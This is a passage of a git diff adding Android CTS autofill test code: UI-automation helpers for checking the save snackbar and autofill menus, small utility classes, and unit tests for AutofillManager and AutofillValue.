+                waitForObject(snackbar, By.res("android", RESOURCE_ID_SAVE_TITLE), timeout);
+        assertWithMessage("save title (%s) is not shown", RESOURCE_ID_SAVE_TITLE).that(titleView)
+                .isNotNull();
+
+        final UiObject2 iconView =
+                waitForObject(snackbar, By.res("android", RESOURCE_ID_SAVE_ICON), timeout);
+        assertWithMessage("save icon (%s) is not shown", RESOURCE_ID_SAVE_ICON).that(iconView)
+                .isNotNull();
+
+        final String actualTitle = titleView.getText();
+        Log.d(TAG, "save title: " + actualTitle);
+
+        final String titleId, titleWithTypeId;
+        if (update) {
+            titleId = RESOURCE_STRING_UPDATE_TITLE;
+            titleWithTypeId = RESOURCE_STRING_UPDATE_TITLE_WITH_TYPE;
+        } else {
+            titleId = RESOURCE_STRING_SAVE_TITLE;
+            titleWithTypeId = RESOURCE_STRING_SAVE_TITLE_WITH_TYPE;
+        }
+
+        final String serviceLabel = InstrumentedAutoFillService.getServiceLabel();
+        switch (types.length) {
+            case 1:
+                final String expectedTitle = (types[0] == SAVE_DATA_TYPE_GENERIC)
+                        ? Html.fromHtml(getString(titleId, serviceLabel), 0).toString()
+                        : Html.fromHtml(getString(titleWithTypeId,
+                                getSaveTypeString(types[0]), serviceLabel), 0).toString();
+                assertThat(actualTitle).isEqualTo(expectedTitle);
+                break;
+            case 2:
+                // We cannot predict the order...
+                assertThat(actualTitle).contains(getSaveTypeString(types[0]));
+                assertThat(actualTitle).contains(getSaveTypeString(types[1]));
+                break;
+            case 3:
+                // We cannot predict the order...
+                assertThat(actualTitle).contains(getSaveTypeString(types[0]));
+                assertThat(actualTitle).contains(getSaveTypeString(types[1]));
+                assertThat(actualTitle).contains(getSaveTypeString(types[2]));
+                break;
+            default:
+                throw new IllegalArgumentException("Invalid types: " + Arrays.toString(types));
+        }
+
+        if (description != null) {
+            final UiObject2 saveSubTitle = snackbar.findObject(By.text(description));
+            assertWithMessage("save subtitle(%s)", description).that(saveSubTitle).isNotNull();
+        }
+
+        final String positiveButtonStringId;
+        switch (positiveButtonStyle) {
+            case SaveInfo.POSITIVE_BUTTON_STYLE_CONTINUE:
+                positiveButtonStringId = RESOURCE_STRING_CONTINUE_BUTTON_YES;
+                break;
+            default:
+                positiveButtonStringId = update ? RESOURCE_STRING_UPDATE_BUTTON_YES
+                        : RESOURCE_STRING_SAVE_BUTTON_YES;
+        }
+        final String expectedPositiveButtonText = getString(positiveButtonStringId).toUpperCase();
+        final UiObject2 positiveButton = waitForObject(snackbar,
+                By.res("android", RESOURCE_ID_SAVE_BUTTON_YES), timeout);
+        assertWithMessage("wrong text on positive button")
+                .that(positiveButton.getText().toUpperCase()).isEqualTo(expectedPositiveButtonText);
+
+        final String negativeButtonStringId;
+        if (negativeButtonStyle == SaveInfo.NEGATIVE_BUTTON_STYLE_REJECT) {
+            negativeButtonStringId = RESOURCE_STRING_SAVE_BUTTON_NOT_NOW;
+        } else if (negativeButtonStyle == SaveInfo.NEGATIVE_BUTTON_STYLE_NEVER) {
+            negativeButtonStringId = RESOURCE_STRING_SAVE_BUTTON_NEVER;
+        } else {
+            negativeButtonStringId = RESOURCE_STRING_SAVE_BUTTON_NO_THANKS;
+        }
+        final String expectedNegativeButtonText = getString(negativeButtonStringId).toUpperCase();
+        final UiObject2 negativeButton = waitForObject(snackbar,
+                By.res("android", RESOURCE_ID_SAVE_BUTTON_NO), timeout);
+        assertWithMessage("wrong text on negative button")
+                .that(negativeButton.getText().toUpperCase()).isEqualTo(expectedNegativeButtonText);
+
+        final String expectedAccessibilityTitle =
+                getString(RESOURCE_STRING_SAVE_SNACKBAR_ACCESSIBILITY_TITLE);
+        assertAccessibilityTitle(snackbar, expectedAccessibilityTitle);
+
+        return snackbar;
+    }
+
+    /**
+     * Taps an option in the save snackbar.
+     *
+     * @param yesDoIt {@code true} for 'YES', {@code false} for 'NO THANKS'.
+     * @param types expected types of save info.
+     */
+    public void saveForAutofill(boolean yesDoIt, int... types) throws Exception {
+        final UiObject2 saveSnackBar = assertSaveShowing(
+                SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL, null, types);
+        saveForAutofill(saveSnackBar, yesDoIt);
+    }
+
+    public void updateForAutofill(boolean yesDoIt, int... types) throws Exception {
+        final UiObject2 saveUi = assertUpdateShowing(types);
+        saveForAutofill(saveUi, yesDoIt);
+    }
+
+    /**
+     * Taps an option in the save snackbar.
+     *
+     * @param yesDoIt {@code true} for 'YES', {@code false} for 'NO THANKS'.
+     * @param types expected types of save info.
+     */
+    public void saveForAutofill(int negativeButtonStyle, boolean yesDoIt, int... types)
+            throws Exception {
+        final UiObject2 saveSnackBar = assertSaveShowing(negativeButtonStyle, null, types);
+        saveForAutofill(saveSnackBar, yesDoIt);
+    }
+
+    /**
+     * Taps the positive button in the save snackbar.
+     *
+     * @param types expected types of save info.
+     */
+    public void saveForAutofill(int positiveButtonStyle, int... types) throws Exception {
+        final UiObject2 saveSnackBar = assertSaveShowing(positiveButtonStyle, types);
+        saveForAutofill(saveSnackBar, /* yesDoIt= */ true);
+    }
+
+    /**
+     * Taps an option in the save snackbar.
+     *
+     * @param saveSnackBar Save snackbar, typically obtained through
+     *            {@link #assertSaveShowing(int)}.
+     * @param yesDoIt {@code true} for 'YES', {@code false} for 'NO THANKS'.
+     */
+    public void saveForAutofill(UiObject2 saveSnackBar, boolean yesDoIt) {
+        final String id = yesDoIt ? "autofill_save_yes" : "autofill_save_no";
+
+        final UiObject2 button = saveSnackBar.findObject(By.res("android", id));
+        assertWithMessage("save button (%s)", id).that(button).isNotNull();
+        button.click();
+    }
+
+    /**
+     * Gets the AUTOFILL contextual menu by long pressing a text field.
+     *
+     * <p><b>NOTE:</b> this method should only be called in scenarios where we explicitly want to
+     * test the overflow menu. For all other scenarios where we want to test manual autofill, it's
+     * better to call {@code AFM.requestAutofill()} directly, because it's less error-prone and
+     * faster.
+     *
+     * @param id resource id of the field.
+     */
+    public UiObject2 getAutofillMenuOption(String id) throws Exception {
+        final UiObject2 field = waitForObject(By.res(mPackageName, id));
+        // TODO: figure out why obj.longClick() doesn't always work
+        field.click(LONG_PRESS_MS);
+
+        List<UiObject2> menuItems = waitForObjects(
+                By.res("android", RESOURCE_ID_CONTEXT_MENUITEM), mDefaultTimeout);
+        final String expectedText = getAutofillContextualMenuTitle();
+
+        final StringBuffer menuNames = new StringBuffer();
+
+        // Check first menu for AUTOFILL
+        for (UiObject2 menuItem : menuItems) {
+            final String menuName = menuItem.getText();
+            if (menuName.equalsIgnoreCase(expectedText)) {
+                Log.v(TAG, "AUTOFILL found in first menu");
+                return menuItem;
+            }
+            menuNames.append("'").append(menuName).append("' ");
+        }
+
+        menuNames.append(";");
+
+        // First menu does not have AUTOFILL, check overflow
+        final BySelector overflowSelector = By.res("android", RESOURCE_ID_OVERFLOW);
+
+        // Click overflow menu button.
+        final UiObject2 overflowMenu = waitForObject(overflowSelector, mDefaultTimeout);
+        overflowMenu.click();
+
+        // Wait for overflow menu to show.
+        mDevice.wait(Until.gone(overflowSelector), 1000);
+
+        menuItems = waitForObjects(
+                By.res("android", RESOURCE_ID_CONTEXT_MENUITEM), mDefaultTimeout);
+        for (UiObject2 menuItem : menuItems) {
+            final String menuName = menuItem.getText();
+            if (menuName.equalsIgnoreCase(expectedText)) {
+                Log.v(TAG, "AUTOFILL found in overflow menu");
+                return menuItem;
+            }
+            menuNames.append("'").append(menuName).append("' ");
+        }
+        throw new RetryableException("no '%s' on '%s'", expectedText, menuNames);
+    }
+
+    String getAutofillContextualMenuTitle() {
+        return getString(RESOURCE_STRING_AUTOFILL);
+    }
+
+    /**
+     * Gets a string from the Android resources.
+     */
+    private String getString(String id) {
+        final Resources resources = mContext.getResources();
+        final int stringId = resources.getIdentifier(id, "string", "android");
+        try {
+            return resources.getString(stringId);
+        } catch (Resources.NotFoundException e) {
+            throw new IllegalStateException("no internal string for '" + id + "' / res=" + stringId
+                    + ": ", e);
+        }
+    }
+
+    /**
+     * Gets a string from the Android resources.
+     */
+    private String getString(String id, Object... formatArgs) {
+        final Resources resources = mContext.getResources();
+        final int stringId = resources.getIdentifier(id, "string", "android");
+        try {
+            return resources.getString(stringId, formatArgs);
+        } catch (Resources.NotFoundException e) {
+            throw new IllegalStateException("no internal string for '" + id + "' / res=" + stringId
+                    + ": ", e);
+        }
+    }
+
+    /**
+     * Waits for and returns an object.
+     *
+     * @param selector {@link BySelector} that identifies the object.
+     */
+    private UiObject2 waitForObject(BySelector selector) throws Exception {
+        return waitForObject(selector, mDefaultTimeout);
+    }
+
+    /**
+     * Waits for and returns an object.
+     *
+     * @param parent where to find the object (or {@code null} to use device's root).
+     * @param selector {@link BySelector} that identifies the object.
+     * @param timeout timeout in ms.
+     * @param dumpOnError whether the window hierarchy should be dumped if the object is not found.
+     */
+    private UiObject2 waitForObject(UiObject2 parent, BySelector selector, Timeout timeout,
+            boolean dumpOnError) throws Exception {
+        // NOTE: mDevice.wait does not work for the save snackbar, so we need a polling approach.
+        try {
+            return timeout.run("waitForObject(" + selector + ")", () -> {
+                return parent != null
+                        ? parent.findObject(selector)
+                        : mDevice.findObject(selector);
+
+            });
+        } catch (RetryableException e) {
+            if (dumpOnError) {
+                dumpScreen("waitForObject() for " + selector + "on "
+                        + (parent == null ? "mDevice" : parent) + " failed");
+            }
+            throw e;
+        }
+    }
+
+    public UiObject2 waitForObject(@Nullable UiObject2 parent, @NonNull BySelector selector,
+            @NonNull Timeout timeout)
+            throws Exception {
+        return waitForObject(parent, selector, timeout, DUMP_ON_ERROR);
+    }
+
+    /**
+     * Waits for and returns an object.
+     *
+     * @param selector {@link BySelector} that identifies the object.
+     * @param timeout timeout in ms
+     */
+    protected UiObject2 waitForObject(@NonNull BySelector selector, @NonNull Timeout timeout)
+            throws Exception {
+        return waitForObject(/* parent= */ null, selector, timeout);
+    }
+
+    /**
+     * Waits for and returns a child from a parent {@link UiObject2}.
+     */
+    public UiObject2 assertChildText(UiObject2 parent, String resourceId, String expectedText)
+            throws Exception {
+        final UiObject2 child = waitForObject(parent, By.res(mPackageName, resourceId),
+                Timeouts.UI_TIMEOUT);
+        assertWithMessage("wrong text for view '%s'", resourceId).that(child.getText())
+                .isEqualTo(expectedText);
+        return child;
+    }
+
+    /**
+     * Execute a Runnable and wait for {@link AccessibilityEvent#TYPE_WINDOWS_CHANGED} or
+     * {@link AccessibilityEvent#TYPE_WINDOW_STATE_CHANGED}.
+     */
+    public AccessibilityEvent waitForWindowChange(Runnable runnable, long timeoutMillis) {
+        try {
+            return mAutoman.executeAndWaitForEvent(runnable, (AccessibilityEvent event) -> {
+                switch (event.getEventType()) {
+                    case AccessibilityEvent.TYPE_WINDOWS_CHANGED:
+                    case AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED:
+                        return true;
+                    default:
+                        Log.v(TAG, "waitForWindowChange(): ignoring event " + event);
+                }
+                return false;
+            }, timeoutMillis);
+        } catch (TimeoutException e) {
+            throw new WindowChangeTimeoutException(e, timeoutMillis);
+        }
+    }
+
+    public AccessibilityEvent waitForWindowChange(Runnable runnable) {
+        return waitForWindowChange(runnable, Timeouts.WINDOW_CHANGE_TIMEOUT_MS);
+    }
+
+    /**
+     * Waits for and returns a list of objects.
+     *
+     * @param selector {@link BySelector} that identifies the object.
+     * @param timeout timeout in ms
+     */
+    private List<UiObject2> waitForObjects(BySelector selector, Timeout timeout) throws Exception {
+        // NOTE: mDevice.wait does not work for the save snackbar, so we need a polling approach.
+        try {
+            return timeout.run("waitForObject(" + selector + ")", () -> {
+                final List<UiObject2> uiObjects = mDevice.findObjects(selector);
+                if (uiObjects != null && !uiObjects.isEmpty()) {
+                    return uiObjects;
+                }
+                return null;
+
+            });
+
+        } catch (RetryableException e) {
+            dumpScreen("waitForObjects() for " + selector + "failed");
+            throw e;
+        }
+    }
+
+    private UiObject2 findDatasetPicker(Timeout timeout) throws Exception {
+        // The UI element here is flaky. Sometimes the UI automator returns a StateObject.
+        // Retry is put in place here to make sure that we catch the object.
+        UiObject2 picker = null;
+        int retryCount = 0;
+        final String expectedTitle = getString(RESOURCE_STRING_DATASET_PICKER_ACCESSIBILITY_TITLE);
+        while (retryCount < MAX_UIOBJECT_RETRY_COUNT) {
+            try {
+                picker = waitForObject(DATASET_PICKER_SELECTOR, timeout);
+                assertAccessibilityTitle(picker, expectedTitle);
+                break;
+            } catch (StaleObjectException e) {
+                Log.d(TAG, "Retry grabbing view class");
+            }
+            retryCount++;
+        }
+        assertWithMessage(expectedTitle + " not found").that(retryCount).isLessThan(
+                MAX_UIOBJECT_RETRY_COUNT);
+
+        if (picker != null) {
+            mOkToCallAssertNoDatasets = true;
+        }
+
+        return picker;
+    }
+
+    /**
+     * Asserts a given object has the expected accessibility title.
+     */
+    private void assertAccessibilityTitle(UiObject2 object, String expectedTitle) {
+        // TODO: ideally it should get the AccessibilityWindowInfo from the object, but UiAutomator
+        // does not expose that.
+        for (AccessibilityWindowInfo window : mAutoman.getWindows()) {
+            final CharSequence title = window.getTitle();
+            if (title != null && title.toString().equals(expectedTitle)) {
+                return;
+            }
+        }
+        throw new RetryableException("Title '%s' not found for %s", expectedTitle, object);
+    }
+
+    /**
+     * Sets the the screen orientation.
+     *
+     * @param orientation typically {@link #LANDSCAPE} or {@link #PORTRAIT}.
+     *
+     * @throws RetryableException if value didn't change.
+     */
+    public void setScreenOrientation(int orientation) throws Exception {
+        mAutoman.setRotation(orientation);
+
+        UI_SCREEN_ORIENTATION_TIMEOUT.run("setScreenOrientation(" + orientation + ")", () -> {
+            return getScreenOrientation() == orientation ? Boolean.TRUE : null;
+        });
+    }
+
+    /**
+     * Gets the value of the screen orientation.
+     *
+     * @return typically {@link #LANDSCAPE} or {@link #PORTRAIT}.
+     */
+    public int getScreenOrientation() {
+        return mDevice.getDisplayRotation();
+    }
+
+    /**
+     * Dumps the current view hierarchy and take a screenshot and save both locally so they can be
+     * inspected later.
+     */
+    public void dumpScreen(@NonNull String cause) {
+        try {
+            final File file = Helper.createTestFile("hierarchy.xml");
+            if (file == null) return;
+            Log.w(TAG, "Dumping window hierarchy because " + cause + " on " + file);
+            try (FileInputStream fis = new FileInputStream(file)) {
+                mDevice.dumpWindowHierarchy(file);
+            }
+        } catch (Exception e) {
+            Log.e(TAG, "error dumping screen on " + cause, e);
+        } finally {
+            takeScreenshotAndSave();
+        }
+    }
+
+    private Rect cropScreenshotWithoutScreenDecoration(Activity activity) {
+        final WindowInsets[] inset = new WindowInsets[1];
+        final View[] rootView = new View[1];
+
+        InstrumentationRegistry.getInstrumentation().runOnMainSync(() -> {
+            rootView[0] = activity.getWindow().getDecorView();
+            inset[0] = rootView[0].getRootWindowInsets();
+        });
+        final int navBarHeight = inset[0].getStableInsetBottom();
+        final int statusBarHeight = inset[0].getStableInsetTop();
+
+        return new Rect(0, statusBarHeight, rootView[0].getWidth(),
+                rootView[0].getHeight() - navBarHeight - statusBarHeight);
+    }
+
+    // TODO(b/74358143): ideally we should take a screenshot limited by the boundaries of the
+    // activity window, so external elements (such as the clock) are filtered out and don't cause
+    // test flakiness when the contents are compared.
+    public Bitmap takeScreenshot() {
+        return takeScreenshotWithRect(null);
+    }
+
+    public Bitmap takeScreenshot(@NonNull Activity activity) {
+        // crop the screenshot without screen decoration to prevent test flakiness.
+        final Rect rect = cropScreenshotWithoutScreenDecoration(activity);
+        return takeScreenshotWithRect(rect);
+    }
+
+    private Bitmap takeScreenshotWithRect(@Nullable Rect r) {
+        final long before = SystemClock.elapsedRealtime();
+        final Bitmap bitmap = mAutoman.takeScreenshot();
+        final long delta = SystemClock.elapsedRealtime() - before;
+        Log.v(TAG, "Screenshot taken in " + delta + "ms");
+        if (r == null) {
+            return bitmap;
+        }
+        try {
+            return Bitmap.createBitmap(bitmap, r.left, r.top, r.right, r.bottom);
+        } finally {
+            if (bitmap != null) {
+                bitmap.recycle();
+            }
+        }
+    }
+
+    /**
+     * Takes a screenshot and save it in the file system for post-mortem analysis.
+     */
+    public void takeScreenshotAndSave() {
+        File file = null;
+        try {
+            file = Helper.createTestFile("screenshot.png");
+            if (file != null) {
+                Log.i(TAG, "Taking screenshot on " + file);
+                final Bitmap screenshot = takeScreenshot();
+                Helper.dumpBitmap(screenshot, file);
+            }
+        } catch (Exception e) {
+            Log.e(TAG, "Error taking screenshot and saving on " + file, e);
+        }
+    }
+
+    /**
+     * Asserts the contents of a child element.
+     *
+     * @param parent parent object
+     * @param childId (relative) resource id of the child
+     * @param assertion if {@code null}, asserts the child does not exist; otherwise, asserts the
+     * child with it.
+     */
+    public void assertChild(@NonNull UiObject2 parent, @NonNull String childId,
+            @Nullable Visitor<UiObject2> assertion) {
+        final UiObject2 child = parent.findObject(By.res(mPackageName, childId));
+        try {
+            if (assertion != null) {
+                assertWithMessage("Didn't find child with id '%s'", childId).that(child)
+                        .isNotNull();
+                try {
+                    assertion.visit(child);
+                } catch (Throwable t) {
+                    throw new AssertionError("Error on child '" + childId + "'", t);
+                }
+            } else {
+                assertWithMessage("Shouldn't find child with id '%s'", childId).that(child)
+                        .isNull();
+            }
+        } catch (RuntimeException | Error e) {
+            dumpScreen("assertChild(" + childId + ") failed: " + e);
+            throw e;
+        }
+    }
+
+    /**
+     * Finds the first {@link URLSpan} on the current screen.
+     */
+    public URLSpan findFirstUrlSpanWithText(String str) throws Exception {
+        final List<AccessibilityNodeInfo> list = mAutoman.getRootInActiveWindow()
+                .findAccessibilityNodeInfosByText(str);
+        if (list.isEmpty()) {
+            throw new AssertionError("Didn't found AccessibilityNodeInfo with " + str);
+        }
+
+        final AccessibilityNodeInfo text = list.get(0);
+        final CharSequence accessibilityTextWithSpan = text.getText();
+        if (!(accessibilityTextWithSpan instanceof Spanned)) {
+            throw new AssertionError("\"" + text.getViewIdResourceName() + "\" was not a Spanned");
+        }
+
+        final URLSpan[] spans = ((Spanned) accessibilityTextWithSpan)
+                .getSpans(0, accessibilityTextWithSpan.length(), URLSpan.class);
+        return spans[0];
+    }
+
+    public boolean scrollToTextObject(String text) {
+        UiScrollable scroller = new UiScrollable(new UiSelector().scrollable(true));
+        try {
+            // Swipe far away from the edges to avoid triggering navigation gestures
+            scroller.setSwipeDeadZonePercentage(0.25);
+            return scroller.scrollTextIntoView(text);
+        } catch (UiObjectNotFoundException e) {
+            return false;
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/Visitor.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/Visitor.java
new file mode 100644
index 0000000..b276a81
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/Visitor.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.testcore;
+
+/**
+ * A generic visitor.
+ *
+ * <p>Typically used by activities under test to provide a way to run an action on the view using
+ * the UI thread. Example:
+ * <pre><code>
+ * void onUsername(ViewVisitor<EditText> v) {
+ *     runOnUiThread(() -> v.visit(mUsername));
+ * }
+ * </code></pre>
+ */
+// TODO: move to common code
+public interface Visitor<T> {
+
+    void visit(T object);
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/WindowChangeTimeoutException.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/WindowChangeTimeoutException.java
new file mode 100644
index 0000000..82c2303
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/WindowChangeTimeoutException.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.testcore;
+
+import androidx.annotation.NonNull;
+
+import com.android.compatibility.common.util.RetryableException;
+
+public final class WindowChangeTimeoutException extends RetryableException {
+
+    public WindowChangeTimeoutException(@NonNull Throwable cause, long timeoutMillis) {
+        super(cause, "no window change event in %dms", timeoutMillis);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/unittests/AutofillManagerTest.java b/tests/autofillservice/src/android/autofillservice/cts/unittests/AutofillManagerTest.java
new file mode 100644
index 0000000..09bde50
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/unittests/AutofillManagerTest.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.unittests;
+
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+
+import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.PendingIntent;
+import android.autofillservice.cts.testcore.Helper;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
+import android.provider.Settings;
+import android.util.Log;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.BlockingBroadcastReceiver;
+import com.android.compatibility.common.util.SettingsStateKeeperRule;
+
+import org.junit.ClassRule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class AutofillManagerTest {
+
+    private static final String TAG = "AutofillManagerTest";
+
+    private static final int AUTOFILL_ENABLE = 1;
+    private static final int AUTOFILL_DISABLE = 2;
+    private static final String OUTSIDE_QUERYAUTOFILLSTATUS_APK =
+            "TestAutofillServiceApp.apk";
+
+    private static final Context sContext =
+            InstrumentationRegistry.getInstrumentation().getContext();
+
+    @ClassRule
+    public static final SettingsStateKeeperRule sPublicServiceSettingsKeeper =
+            new SettingsStateKeeperRule(sContext, Settings.Secure.AUTOFILL_SERVICE);
+
+    @Test
+    @AppModeFull(reason = "Package cannot install in instant app mode")
+    public void testHasEnabledAutofillServices() throws Exception {
+        // Verify the calling application's AutofillService is initially disabled
+        runQueryAutofillStatusActivityAndVerifyResult(AUTOFILL_DISABLE);
+
+        // Enable calling application's AutofillService
+        enableOutsidePackageTestAutofillService();
+
+        // Verify the calling application's AutofillService is enabled
+        runQueryAutofillStatusActivityAndVerifyResult(AUTOFILL_ENABLE);
+
+        // Update the calling application package and verify the calling application's
+        // AutofillService is still enabled
+        install(OUTSIDE_QUERYAUTOFILLSTATUS_APK);
+        runQueryAutofillStatusActivityAndVerifyResult(AUTOFILL_ENABLE);
+    }
+
+    private void enableOutsidePackageTestAutofillService() {
+        final String outsidePackageAutofillServiceName =
+                "android.autofill.cts2/.NoOpAutofillService";
+        Helper.enableAutofillService(sContext, outsidePackageAutofillServiceName);
+    }
+
+    private void install(String apk) {
+        final String installResult = runShellCommand(
+                "pm install -r /data/local/tmp/cts/autofill/" + apk);
+        Log.d(TAG, "install result = " + installResult);
+        assertThat(installResult.trim()).isEqualTo("Success");
+    }
+
+    /**
+     * Start an activity that uses hasEnabledAutofillServices() to query its AutofillService
+     * status and return the status result to the caller. Then we verify the status result from
+     * the Activity.
+     */
+    private void runQueryAutofillStatusActivityAndVerifyResult(int expectedStatus) {
+        final String actionAutofillStatusActivityFinish =
+                "ACTION_AUTOFILL_STATUS_ACTIVITY_FINISH_" + SystemClock.uptimeMillis();
+
+        // register a activity finish receiver
+        final BlockingBroadcastReceiver receiver = new BlockingBroadcastReceiver(sContext,
+                actionAutofillStatusActivityFinish);
+        receiver.register();
+
+        // Start an Activity from another package
+        final Intent outsideActivity = new Intent();
+        outsideActivity.setComponent(new ComponentName("android.autofill.cts2",
+                "android.autofill.cts2.QueryAutofillStatusActivity"));
+        outsideActivity.setFlags(FLAG_ACTIVITY_NEW_TASK);
+        final Intent broadcastIntent = new Intent(actionAutofillStatusActivityFinish);
+        final PendingIntent pendingIntent = PendingIntent.getBroadcast(sContext, 0, broadcastIntent,
+                PendingIntent.FLAG_IMMUTABLE);
+        outsideActivity.putExtra("finishBroadcast", pendingIntent);
+        sContext.startActivity(outsideActivity);
+
+        // Verify the finish broadcast is received.
+        final Intent intent = receiver.awaitForBroadcast();
+        assertThat(intent).isNotNull();
+        // Verify the status result code.
+        final int statusResultCode = receiver.getResultCode();
+        Log.d(TAG, "hasEnabledAutofillServices statusResultCode = " + statusResultCode);
+        assertThat(statusResultCode).isEqualTo(expectedStatus);
+
+        // unregister receiver
+        receiver.unregisterQuietly();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/unittests/AutofillValueTest.java b/tests/autofillservice/src/android/autofillservice/cts/unittests/AutofillValueTest.java
new file mode 100644
index 0000000..b2fdb0c
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/unittests/AutofillValueTest.java
@@ -0,0 +1,110 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.unittests;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.platform.test.annotations.AppModeFull;
+import android.view.autofill.AutofillValue;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@AppModeFull(reason = "Unit test")
+@RunWith(AndroidJUnit4.class)
+public class AutofillValueTest {
+
+    @Test
+    public void createTextValue() throws Exception {
+        assertThat(AutofillValue.forText(null)).isNull();
+
+        assertThat(AutofillValue.forText("").isText()).isTrue();
+        assertThat(AutofillValue.forText("").isToggle()).isFalse();
+        assertThat(AutofillValue.forText("").isList()).isFalse();
+        assertThat(AutofillValue.forText("").isDate()).isFalse();
+
+        AutofillValue emptyV = AutofillValue.forText("");
+        assertThat(emptyV.getTextValue().toString()).isEqualTo("");
+
+        final AutofillValue v = AutofillValue.forText("someText");
+        assertThat(v.getTextValue()).isEqualTo("someText");
+
+        assertThrows(IllegalStateException.class, v::getToggleValue);
+        assertThrows(IllegalStateException.class, v::getListValue);
+        assertThrows(IllegalStateException.class, v::getDateValue);
+    }
+
+    @Test
+    public void createToggleValue() throws Exception {
+        assertThat(AutofillValue.forToggle(true).getToggleValue()).isTrue();
+        assertThat(AutofillValue.forToggle(false).getToggleValue()).isFalse();
+
+        assertThat(AutofillValue.forToggle(true).isText()).isFalse();
+        assertThat(AutofillValue.forToggle(true).isToggle()).isTrue();
+        assertThat(AutofillValue.forToggle(true).isList()).isFalse();
+        assertThat(AutofillValue.forToggle(true).isDate()).isFalse();
+
+
+        final AutofillValue v = AutofillValue.forToggle(true);
+
+        assertThrows(IllegalStateException.class, v::getTextValue);
+        assertThrows(IllegalStateException.class, v::getListValue);
+        assertThrows(IllegalStateException.class, v::getDateValue);
+    }
+
+    @Test
+    public void createListValue() throws Exception {
+        assertThat(AutofillValue.forList(-1).getListValue()).isEqualTo(-1);
+        assertThat(AutofillValue.forList(0).getListValue()).isEqualTo(0);
+        assertThat(AutofillValue.forList(1).getListValue()).isEqualTo(1);
+
+        assertThat(AutofillValue.forList(0).isText()).isFalse();
+        assertThat(AutofillValue.forList(0).isToggle()).isFalse();
+        assertThat(AutofillValue.forList(0).isList()).isTrue();
+        assertThat(AutofillValue.forList(0).isDate()).isFalse();
+
+        final AutofillValue v = AutofillValue.forList(0);
+
+        assertThrows(IllegalStateException.class, v::getTextValue);
+        assertThrows(IllegalStateException.class, v::getToggleValue);
+        assertThrows(IllegalStateException.class, v::getDateValue);
+    }
+
+    @Test
+    public void createDateValue() throws Exception {
+        assertThat(AutofillValue.forDate(-1).getDateValue()).isEqualTo(-1);
+        assertThat(AutofillValue.forDate(0).getDateValue()).isEqualTo(0);
+        assertThat(AutofillValue.forDate(1).getDateValue()).isEqualTo(1);
+
+        assertThat(AutofillValue.forDate(0).isText()).isFalse();
+        assertThat(AutofillValue.forDate(0).isToggle()).isFalse();
+        assertThat(AutofillValue.forDate(0).isList()).isFalse();
+        assertThat(AutofillValue.forDate(0).isDate()).isTrue();
+
+        final AutofillValue v = AutofillValue.forDate(0);
+
+        assertThrows(IllegalStateException.class, v::getTextValue);
+        assertThrows(IllegalStateException.class, v::getToggleValue);
+        assertThrows(IllegalStateException.class, v::getListValue);
+    }
+}
